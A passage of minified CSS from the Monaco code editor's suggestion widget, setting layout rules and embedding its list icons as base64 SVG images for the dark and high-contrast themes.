.icon.folder{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4uaWNvbi1jYW52YXMtdHJhbnNwYXJlbnR7b3BhY2l0eTowO2ZpbGw6I0Y2RjZGNjt9IC5pY29uLXZzLW91dHtvcGFjaXR5OjA7ZmlsbDojRjZGNkY2O30gLmljb24tdnMtZmd7ZmlsbDojRjBFRkYxO30gLmljb24tZm9sZGVye2ZpbGw6IzY1NjU2NTt9PC9zdHlsZT48cGF0aCBjbGFzcz0iaWNvbi1jYW52YXMtdHJhbnNwYXJlbnQiIGQ9Ik0xNiAxNmgtMTZ2LTE2aDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTE2IDIuNXYxMGMwIC44MjctLjY3MyAxLjUtMS41IDEuNWgtMTEuOTk2Yy0uODI3IDAtMS41LS42NzMtMS41LTEuNXYtOGMwLS44MjcuNjczLTEuNSAxLjUtMS41aDIuODg2bDEtMmg4LjExYy44MjcgMCAxLjUuNjczIDEuNSAxLjV6IiBpZD0ib3V0bGluZSIvPjxwYXRoIGNsYXNzPSJpY29uLWZvbGRlciIgZD0iTTE0LjUgMmgtNy40OTJsLTEgMmgtMy41MDRjLS4yNzcgMC0uNS4yMjQtLjUuNXY4YzAgLjI3Ni4yMjMuNS41LjVoMTEuOTk2Yy4yNzUgMCAuNS0uMjI0LjUtLjV2LTEwYzAtLjI3Ni0uMjI1LS41LS41LS41em0tLjQ5NiAyaC02LjQ5NmwuNS0xaDUuOTk2djF6IiBpZD0iaWNvbkJnIi8+PHBhdGggY2xhc3M9Imljb24tdnMtZmciIGQ9Ik0xNCAzdjFoLTYuNWwuNS0xaDZ6IiBpZD0iaWNvbkZnIi8+PC9zdmc+\")}.monaco-editor .suggest-widget .monaco-list .monaco-list-row .icon.customcolor .colorspan{margin:0 0 0 .3em;border:.1em solid #000;width:.7em;height:.7em;display:inline-block}.monaco-editor .suggest-widget .details{display:flex;flex-direction:column;cursor:default}.monaco-editor .suggest-widget .details.no-docs{display:none}.monaco-editor .suggest-widget.docs-below .details{border-top-width:0}.monaco-editor .suggest-widget .details>.monaco-scrollable-element{flex:1}.monaco-editor .suggest-widget .details>.monaco-scrollable-element>.body{position:absolute;box-sizing:border-box;height:100%;width:100%;white-space:pre-wrap}.monaco-editor .suggest-widget .details>.monaco-scrollable-element>.body>.header>.type{flex:2;overflow:hidden;text-overflow:ellipsis;opacity:.7;word-break:break-all;margin:0;padding:4px 0 4px 5px}.monaco-editor .suggest-widget .details>.monaco-scrollable-element>.body>.docs{margin:0;padding:4px 5px}.monaco-editor .suggest-widget .details>.monaco-scrollable-element>.body>p:empty{display:none}.monaco-editor.hc-black .suggest-widget .details>.monaco-scrollable-element>.body>.header>.close,.monaco-editor.vs-dark .suggest-widget .details>.monaco-scrollable-element>.body>.header>.close{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMyAzIDE2IDE2IiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDMgMyAxNiAxNiI+PHBvbHlnb24gZmlsbD0iI2U4ZThlOCIgcG9pbnRzPSIxMi41OTcsMTEuMDQyIDE1LjQsMTMuODQ1IDEzLjg0NCwxNS40IDExLjA0MiwxMi41OTggOC4yMzksMTUuNCA2LjY4MywxMy44NDUgOS40ODUsMTEuMDQyIDYuNjgzLDguMjM5IDguMjM4LDYuNjgzIDExLjA0Miw5LjQ4NiAxMy44NDUsNi42ODMgMTUuNCw4LjIzOSIvPjwvc3ZnPg==\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYmd7ZmlsbDojYzVjNWM1fTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTE2IDEwYzAgMi4yMDUtMS43OTQgNC00IDQtMS44NTggMC0zLjQxMS0xLjI3OS0zLjg1OC0zaC0uOTc4bDIuMzE4IDRIMHYtMS43MDNsMi0zLjQwOFYwaDExdjYuMTQyYzEuNzIxLjQ0NyAzIDIgMyAzLjg1OHoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYmciIGQ9Ik0xMiAxdjQuNzVBNC4yNTUgNC4yNTUgMCAwIDAgNy43NSAxMGgtLjczMkw0LjI3NSA1LjI2OSAzIDcuNDQyVjFoOXpNNy43NDcgMTRMNC4yNjkgOCAuNzQ4IDE0aDYuOTk5ek0xNSAxMGEzIDMgMCAxIDEtNiAwIDMgMyAwIDAgMSA2IDB6IiBpZD0iaWNvbkJnIi8+PC9zdmc+\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.constructor,.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.function,.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.method,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.constructor,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.function,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.method{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtZmd7ZmlsbDojMmIyODJlfS5pY29uLXZzLWFjdGlvbi1wdXJwbGV7ZmlsbDojYjE4MGQ3fTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTE1IDMuMzQ5djguNDAzTDguOTc1IDE2SDguMDdMMSAxMS41ODJWMy4zMjdMNy41OTUgMGgxLjExOEwxNSAzLjM0OXoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtZmciIGQ9Ik0xMi43MTUgNC4zOThMOC40ODcgNy4wMiAzLjU2NSA0LjI3Mmw0LjU3OC0yLjMwOSA0LjU3MiAyLjQzNXpNMyA1LjEwMmw1IDIuNzkydjUuNzA1bC01LTMuMTI1VjUuMTAyem02IDguNDM0VjcuODc4bDQtMi40OHY1LjMxN2wtNCAyLjgyMXoiIGlkPSJpY29uRmciLz48cGF0aCBjbGFzcz0iaWNvbi12cy1hY3Rpb24tcHVycGxlIiBkPSJNOC4xNTYuODM3TDIgMy45NDJ2Ny4wODVMOC41MTcgMTUuMSAxNCAxMS4yMzNWMy45NUw4LjE1Ni44Mzd6bTQuNTU5IDMuNTYxTDguNDg3IDcuMDIgMy41NjUgNC4yNzJsNC41NzgtMi4zMDkgNC41NzIgMi40MzV6TTMgNS4xMDJsNSAyLjc5MnY1LjcwNWwtNS0zLjEyNVY1LjEwMnptNiA4LjQzNFY3Ljg3OGw0LTIuNDh2NS4zMTdsLTQgMi44MjF6IiBpZD0iaWNvbkJnIi8+PC9zdmc+\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.field,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.field{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtZmd7ZmlsbDojMmIyODJlfS5pY29uLXZzLWFjdGlvbi1ibHVle2ZpbGw6Izc1YmVmZn08L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0wIDEwLjczNlY0LjVMOSAwbDcgMy41djYuMjM2bC05IDQuNS03LTMuNXoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLWJsdWUiIGQ9Ik05IDFMMSA1djVsNiAzIDgtNFY0TDkgMXpNNyA2Ljg4MkwzLjIzNiA1IDkgMi4xMTggMTIuNzY0IDQgNyA2Ljg4MnoiIGlkPSJpY29uQmciLz48cGF0aCBjbGFzcz0iaWNvbi12cy1mZyIgZD0iTTkgMi4xMThMMTIuNzY0IDQgNyA2Ljg4MiAzLjIzNiA1IDkgMi4xMTh6IiBpZD0iaWNvbkZnIi8+PC9zdmc+\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.event,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.event{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYWN0aW9uLW9yYW5nZXtmaWxsOiNlOGFiNTN9PC9zdHlsZT48cGF0aCBjbGFzcz0iaWNvbi1jYW52YXMtdHJhbnNwYXJlbnQiIGQ9Ik0xNiAxNkgwVjBoMTZ2MTZ6IiBpZD0iY2FudmFzIi8+PHBhdGggY2xhc3M9Imljb24tdnMtb3V0IiBkPSJNMTQgMS40MTRMOS40MTQgNkgxNHYxLjQxNEw1LjQxNCAxNkgzdi0xLjIzNEw1LjM3MSAxMEgyVjguNzY0TDYuMzgyIDBIMTR2MS40MTR6IiBpZD0ib3V0bGluZSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ii8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLW9yYW5nZSIgZD0iTTcgN2g2bC04IDhINGwyLjk4NS02SDNsNC04aDZMNyA3eiIgaWQ9Imljb25CZyIvPjwvc3ZnPg==\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.operator,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.operator{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtZmd7ZmlsbDojMmIyODJlfS5pY29uLXZzLWFjdGlvbi1ibHVle2ZpbGw6Izc1YmVmZn08L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0xNiAxNkgwVjBoMTZ2MTZ6IiBpZD0ib3V0bGluZSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ii8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLWJsdWUiIGQ9Ik0xIDF2MTRoMTRWMUgxem02IDEySDN2LTFoNHYxem0wLTNIM1Y5aDR2MXptMC01SDV2Mkg0VjVIMlY0aDJWMmgxdjJoMnYxem0zLjI4MSA4SDguNzE5bDMtNGgxLjU2M2wtMy4wMDEgNHpNMTQgNUg5VjRoNXYxeiIgaWQ9Imljb25CZyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWZnIiBkPSJNNyA1SDV2Mkg0VjVIMlY0aDJWMmgxdjJoMnYxem03LTFIOXYxaDVWNHpNNyA5SDN2MWg0Vjl6bTAgM0gzdjFoNHYtMXptMy4yODEgMWwzLTRoLTEuNTYzbC0zIDRoMS41NjN6IiBpZD0iaWNvbkZnIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiLz48L3N2Zz4=\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.variable,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.variable{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYmd7ZmlsbDojYzVjNWM1fS5pY29uLXZzLWZne2ZpbGw6IzJiMjgyZX0uaWNvbi12cy1hY3Rpb24tYmx1ZXtmaWxsOiM3NWJlZmZ9PC9zdHlsZT48cGF0aCBjbGFzcz0iaWNvbi1jYW52YXMtdHJhbnNwYXJlbnQiIGQ9Ik0xNiAxNkgwVjBoMTZ2MTZ6IiBpZD0iY2FudmFzIi8+PHBhdGggY2xhc3M9Imljb24tdnMtb3V0IiBkPSJNMTEgM3YxLjAxNUw4LjczMyAyLjg4MiA1IDQuNzQ5VjNIMHYxMGg1di0xLjg1OWwyLjE1NiAxLjA3N0wxMSAxMC4yOTVWMTNoNVYzaC01eiIgaWQ9Im91dGxpbmUiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWJnIiBkPSJNMiA1djZoMnYxSDFWNGgzdjFIMnptMTAgNnYxaDNWNGgtM3YxaDJ2NmgtMnoiIGlkPSJpY29uQmciLz48cGF0aCBjbGFzcz0iaWNvbi12cy1mZyIgZD0iTTcuMTU2IDcuMTU2bC0xLjU3OC0uNzg5IDMuMTU2LTEuNTc4IDEuNTc4Ljc4OS0zLjE1NiAxLjU3OHoiIGlkPSJpY29uRmciIHN0eWxlPSJkaXNwbGF5OiBub25lOyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWFjdGlvbi1ibHVlIiBkPSJNOC43MzMgNEw0IDYuMzY3djMuMTU2TDcuMTU2IDExLjFsNC43MzMtMi4zNjdWNS41NzhMOC43MzMgNHpNNy4xNTYgNy4xNTZsLTEuNTc4LS43ODkgMy4xNTYtMS41NzggMS41NzguNzg5LTMuMTU2IDEuNTc4eiIgaWQ9ImNvbG9ySW1wb3J0YW5jZSIvPjwvc3ZnPg==\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.class,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.class{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYWN0aW9uLW9yYW5nZXtmaWxsOiNlOGFiNTN9PC9zdHlsZT48cGF0aCBjbGFzcz0iaWNvbi1jYW52YXMtdHJhbnNwYXJlbnQiIGQ9Ik0xNiAxNkgwVjBoMTZ2MTZ6IiBpZD0iY2FudmFzIi8+PHBhdGggY2xhc3M9Imljb24tdnMtb3V0IiBkPSJNMTYgNi41ODZsLTMtM0wxMS41ODYgNUg5LjQxNGwxLTEtNC00aC0uODI4TDAgNS41ODZ2LjgyOGw0IDRMNi40MTQgOEg3djVoMS41ODZsMyAzaC44MjhMMTYgMTIuNDE0di0uODI4TDEzLjkxNCA5LjUgMTYgNy40MTR2LS44Mjh6IiBpZD0ib3V0bGluZSIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWFjdGlvbi1vcmFuZ2UiIGQ9Ik0xMyAxMGwyIDItMyAzLTItMiAxLTFIOFY3SDZMNCA5IDEgNmw1LTUgMyAzLTIgMmg1bDEtMSAyIDItMyAzLTItMiAxLTFIOXY0bDIuOTk5LjAwMkwxMyAxMHoiIGlkPSJpY29uQmciLz48L3N2Zz4=\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.interface,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.interface{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtZmd7ZmlsbDojMmIyODJlfS5pY29uLXZzLWFjdGlvbi1ibHVle2ZpbGw6Izc1YmVmZn08L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0xMS41IDEyYy0xLjkxNSAwLTMuNjAyLTEuMjQxLTQuMjI4LTNoLTEuNDFhMy4xMSAzLjExIDAgMCAxLTIuNzM3IDEuNjI1QzEuNDAyIDEwLjYyNSAwIDkuMjIzIDAgNy41czEuNDAyLTMuMTI1IDMuMTI1LTMuMTI1YzEuMTY1IDAgMi4yMDEuNjM5IDIuNzM3IDEuNjI1aDEuNDFjLjYyNi0xLjc1OSAyLjMxMy0zIDQuMjI4LTNDMTMuOTgxIDMgMTYgNS4wMTkgMTYgNy41UzEzLjk4MSAxMiAxMS41IDEyeiIgaWQ9Im91dGxpbmUiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1mZyIgZD0iTTExLjUgOUExLjUwMSAxLjUwMSAwIDEgMSAxMyA3LjVjMCAuODI2LS42NzMgMS41LTEuNSAxLjV6IiBpZD0iaWNvbkZnIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLWJsdWUiIGQ9Ik0xMS41IDRhMy40OSAzLjQ5IDAgMCAwLTMuNDUgM0g1LjE4NUEyLjEyMiAyLjEyMiAwIDAgMCAxIDcuNWEyLjEyMyAyLjEyMyAwIDEgMCA0LjE4NS41SDguMDVhMy40OSAzLjQ5IDAgMCAwIDMuNDUgMyAzLjUgMy41IDAgMSAwIDAtN3ptMCA1Yy0uODI3IDAtMS41LS42NzMtMS41LTEuNVMxMC42NzMgNiAxMS41IDZzMS41LjY3MyAxLjUgMS41UzEyLjMyNyA5IDExLjUgOXoiIGlkPSJpY29uQmciLz48L3N2Zz4=\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.struct,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.struct{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYWN0aW9uLWJsdWV7ZmlsbDojNzViZWZmfTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTkgMTRWOEg3djZIMVYyaDE0djEySDl6IiBpZD0ib3V0bGluZSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ii8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLWJsdWUiIGQ9Ik0xMCA5aDR2NGgtNFY5em0tOCA0aDRWOUgydjR6TTIgM3Y0aDEyVjNIMnoiIGlkPSJpY29uQmciLz48L3N2Zz4=\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.type-parameter,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.type-parameter{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYmd7ZmlsbDojYzVjNWM1fTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTEwLjcwMiAxMC41bDItMi0yLTIgLjUtLjVIMTB2NWgxdjNINXYtM2gxVjZINC43OThsLjUuNS0yIDIgMiAyTDMgMTIuNzk3bC0zLTNWNy4yMDFsMy0zVjJoMTB2Mi4yMDFsMyAzdjIuNTk2bC0zIDMtMi4yOTgtMi4yOTd6IiBpZD0ib3V0bGluZSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ii8+PHBhdGggY2xhc3M9Imljb24tdnMtYmciIGQ9Ik00IDNoOHYyaC0xdi0uNWMwLS4yNzctLjIyNC0uNS0uNS0uNUg5djcuNWMwIC4yNzUuMjI0LjUuNS41aC41djFINnYtMWguNWEuNS41IDAgMCAwIC41LS41VjRINS41YS41LjUgMCAwIDAtLjUuNVY1SDRWM3pNMyA1LjYxNUwuMTE2IDguNSAzIDExLjM4M2wuODg0LS44ODMtMi0yIDItMkwzIDUuNjE1em0xMCAwbC0uODg0Ljg4NSAyIDItMiAyIC44ODQuODgzTDE1Ljg4NCA4LjUgMTMgNS42MTV6IiBpZD0iaWNvbkJnIi8+PC9zdmc+\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.module,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.module{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYmd7ZmlsbDojYzVjNWM1fTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTkuMjYgMTEuOTg0bC45NzgtLjAyMWEuOTYyLjk2MiAwIDAgMCAuMDktLjAwNmMuMDExLS4wNjMuMDI2LS4xNzkuMDI2LS4zNjFWOS42ODhjMC0uNjc5LjE4NS0xLjI1Ny41My0xLjcwNy0uMzQ2LS40NTItLjUzLTEuMDMtLjUzLTEuNzA1VjQuMzVjMC0uMTY3LS4wMjEtLjI1OS0uMDM0LS4zMDJMOS4yNiA0LjAyVi45NzNsMS4wMTEuMDExYzIuMTY3LjAyNCAzLjQwOSAxLjE1NiAzLjQwOSAzLjEwNXYxLjk2MmMwIC4zNTEuMDcxLjQ2MS4wNzIuNDYybC45MzYuMDYuMDUzLjkyN3YxLjkzNmwtLjkzNi4wNjFjLS4wNzYuMDE2LS4xMjUuMTQ2LS4xMjUuNDI0djIuMDE3YzAgLjkxNC0uMzMyIDMuMDQzLTMuNDA4IDMuMDc4bC0xLjAxMi4wMTF2LTMuMDQzem0tMy41MjEgMy4wMzJjLTMuMDg5LS4wMzUtMy40MjItMi4xNjQtMy40MjItMy4wNzhWOS45MjFjMC0uMzI3LS4wNjYtLjQzMi0uMDY3LS40MzNsLS45MzctLjA2LS4wNjMtLjkyOVY2LjU2M2wuOTQyLS4wNmMuMDU4IDAgLjEyNS0uMTE0LjEyNS0uNDUyVjQuMDljMC0xLjk0OSAxLjI0OC0zLjA4MSAzLjQyMi0zLjEwNUw2Ljc1Ljk3M1Y0LjAybC0uOTc1LjAyM2EuNTcyLjU3MiAwIDAgMC0uMDkzLjAxYy4wMDYuMDIxLS4wMTkuMTE1LS4wMTkuMjk3djEuOTI4YzAgLjY3NS0uMTg2IDEuMjUzLS41MzQgMS43MDUuMzQ4LjQ1LjUzNCAxLjAyOC41MzQgMS43MDd2MS45MDdjMCAuMTc1LjAxNC4yOTEuMDI3LjM2My4wMjMuMDAyIDEuMDYuMDI1IDEuMDYuMDI1djMuMDQzbC0xLjAxMS0uMDEyeiIgaWQ9Im91dGxpbmUiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1iZyIgZD0iTTUuNzUgMTQuMDE2Yy0xLjYyMy0uMDE5LTIuNDM0LS43MTEtMi40MzQtMi4wNzhWOS45MjFjMC0uOTAyLS4zNTUtMS4zNzYtMS4wNjYtMS40MjJ2LS45OThjLjcxMS0uMDQ1IDEuMDY2LS41MjkgMS4wNjYtMS40NDlWNC4wOWMwLTEuMzg1LjgxMS0yLjA4NyAyLjQzNC0yLjEwNXYxLjA2Yy0uNzI1LjAxNy0xLjA4Ny40NTMtMS4wODcgMS4zMDV2MS45MjhjMCAuOTItLjQ1NCAxLjQ4OC0xLjM2IDEuNzAyVjhjLjkwNy4yMDEgMS4zNi43NjMgMS4zNiAxLjY4OHYxLjkwN2MwIC40ODguMDgxLjgzNS4yNDMgMS4wNDIuMTYyLjIwOC40NDMuMzE2Ljg0NC4zMjV2MS4wNTR6bTcuOTktNS41MTdjLS43MDYuMDQ1LTEuMDYuNTItMS4wNiAxLjQyMnYyLjAxN2MwIDEuMzY3LS44MDcgMi4wNi0yLjQyIDIuMDc4di0xLjA1M2MuMzk2LS4wMDkuNjc4LS4xMTguODQ0LS4zMjguMTY3LS4yMS4yNS0uNTU2LjI1LTEuMDM5VjkuNjg4YzAtLjkyNS40NDktMS40ODggMS4zNDctMS42ODh2LS4wMjFjLS44OTgtLjIxNC0xLjM0Ny0uNzgyLTEuMzQ3LTEuNzAyVjQuMzVjMC0uODUyLS4zNjQtMS4yODgtMS4wOTQtMS4zMDZ2LTEuMDZjMS42MTMuMDE4IDIuNDIuNzIgMi40MiAyLjEwNXYxLjk2MmMwIC45Mi4zNTQgMS40MDQgMS4wNiAxLjQ0OXYuOTk5eiIgaWQ9Imljb25CZyIvPjwvc3ZnPg==\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.property,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.property{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYmd7ZmlsbDojYzVjNWM1fTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTE2IDUuNWE1LjUgNS41IDAgMCAxLTUuNSA1LjVjLS4yNzUgMC0uNTQzLS4wMjctLjgwNy0uMDY2bC0uMDc5LS4wMTJhNS40MjkgNS40MjkgMCAwIDEtLjgxLS4xOTJsLTQuNTM3IDQuNTM3Yy0uNDcyLjQ3My0xLjEuNzMzLTEuNzY3LjczM3MtMS4yOTUtLjI2LTEuNzY4LS43MzJhMi41MDIgMi41MDIgMCAwIDEgMC0zLjUzNWw0LjUzNy00LjUzN2E1LjQ1MiA1LjQ1MiAwIDAgMS0uMTkxLS44MTJjLS4wMDUtLjAyNS0uMDA4LS4wNTEtLjAxMi0uMDc3QTUuNTAzIDUuNTAzIDAgMCAxIDUgNS4